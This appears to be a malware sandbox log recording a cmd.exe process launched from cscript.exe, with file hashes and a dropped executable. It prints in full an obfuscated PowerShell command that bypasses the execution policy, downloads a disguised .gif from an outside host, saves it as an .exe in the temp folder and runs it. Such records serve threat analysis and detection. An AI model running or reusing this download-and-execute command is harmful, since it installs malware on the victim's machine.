22b1699ddb213ddab737d96df9365d50

C:\WINDOWS\system32\cmd.exe
  Parentname:  C:\WINDOWS\system32\cscript.exe
  Command Line:  "C:\WINDOWS\system32\cmd.exe" /c "powershell $egtezc='^Scope P';$cnyzgar='^ile(''ht';$ijrub='^ $path=';$elnucjo='^emp+''\i';$akgivk='^($env:t';$udegxe='^tem.Net';$yflog='^path); ';$qdeggyjq='^ypass -';$cyta='^Set-Exe';$dzexe='^sura.to';$elive='^.Webcli';$ukode='^olicy B';$itahci='^ect Sys';$etyzm='^$path';$mharqo='^exe'');(';$hynji='^php?f=1';$yfiwx='^New-Obj';$flyvgyp='^rocess ';$uxgoke='^cutionP';$ywabh='^tp://ww';$ezug='^wnloadF';$imyde='^w.dokja';$jace='^ent).Do';$tnyhi='^ztutlu.';$zicpog='^rocess;';$ylnulhe='^Start-P';$ukiko='^.gif'',$';$zguqry='^p/user.'; Invoke-Expression ($cyta+$uxgoke+$ukode+$qdeggyjq+$egtezc+$zicpog+$ijrub+$akgivk+$elnucjo+$tnyhi+$mharqo+$yfiwx+$itahci+$udegxe+$elive+$jace+$ezug+$cnyzgar+$ywabh+$imyde+$dzexe+$zguqry+$hynji+$ukiko+$yflog+$ylnulhe+$flyvgyp+$etyzm);\"
  MD5:  6d778e0f95447e6546553eeea709d03c
  SHA1: 811a005cf787c6ccbe0d9f1c36c1d49a9cb71fd1


drops:

C:\Users\Administrator\AppData\Local\Temp\iztutlu.exe
  MD5:  22b1699ddb213ddab737d96df9365d50
  SHA1: e04221c7f7951a8090bdaca985bc56f1675e4260